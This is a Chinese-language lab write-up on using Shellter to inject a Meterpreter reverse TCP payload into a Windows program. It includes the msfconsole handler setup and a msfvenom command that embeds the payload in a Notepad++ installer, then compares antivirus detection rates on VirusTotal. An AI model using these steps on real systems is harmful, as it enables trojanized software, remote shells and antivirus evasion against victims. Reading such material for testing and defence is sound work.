Shellter 使用动态 shellcode 注入的方式修改程序。本文记录它的安装、操作过程,以及在 Win 7 虚拟机中的检测结果。
本文使用截图中的 Shellter 7.2,实验环境为 Kali Linux 和安装了 360 安全软件的 Win 7 x64 虚拟机。文中的检测结果来自这次实验,不代表当前版本的检测表现。
# Shellter 安装
在 Kali 中通过 Wine 运行 Shellter,需要先添加 i386 架构支持并安装依赖。截图使用的是 root 账户,安装命令如下:
-
添加 i386 架构,更新软件包索引并安装 Wine 依赖:
dpkg --add-architecture i386 && apt update && apt -y install wine32 -
安装 Shellter:
apt install shellter。

# shellter 使用
这次使用自动模式,将 Meterpreter_Reverse_TCP 注入测试程序。下面按界面中的提示记录操作过程。
- 在命令行输入
shellter,打开工具。 - 输入
A或a,选择自动模式。 - 在
PE Target:后输入测试程序的文件路径。

- 在
Enable Stealth Mode?提示后输入Y。

- 输入
L,使用界面列出的 payload。 - 选择编号
1,对应Meterpreter_Reverse_TCP。

- 分别输入监听端的 IP 地址和端口号。

- 等待界面显示
Injection: Verified!,按回车继续,结束本次操作。

处理后的文件会替换原路径下的文件,文件名保持不变。 本文环境中的原文件备份位于
/root/Shellter_Backups/。

# 利用 & 免杀效果
# 利用
文件处理完成后,我将它传到 Win 7 x64 虚拟机,在 Kali 中打开 msfconsole ,使用下面的配置监听连接:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.158.139set LPORT 4444run
运行测试程序后,监听端收到连接并建立了 Meterpreter 会话:

# 免杀效果
实验的 Win 7 x64 虚拟机安装了 360 安全软件。这次检查文件时没有看到告警,运行程序并建立 Meterpreter 会话后,也没有立即弹出提示。大约一分钟后,才出现下面的木马警告:

观察到的警告有延迟,但不能据此认定样本不会被检测。再次遇到同一样本时,警告似乎更快。不过这次观察不足以判断每次检测的反应时间。
我还将样本提交到了 VirusTotal。下图显示,Shellter 处理后的样本有 31 / 70 个引擎报出检测结果:查看报告。

为了对比,我使用同一个程序和相同的 payload,通过 msfvenom 的模板方式生成了另一个样本。使用的命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.158.139 LPORT=4444 -x npp.8.1.4.Installer.exe -f exe > mp_npp.exe |
这个样本在截图中的检测结果为 40 / 70:查看报告。

这两张报告中,Shellter 样本被报出的次数较少,但两份样本都被多个引擎检测到。
本文仅为 Shellter 工具使用的一次简单实验记录。仅一次对比不足以证明某个工具的效果,检测结果也会随引擎和特征库更新而变化。

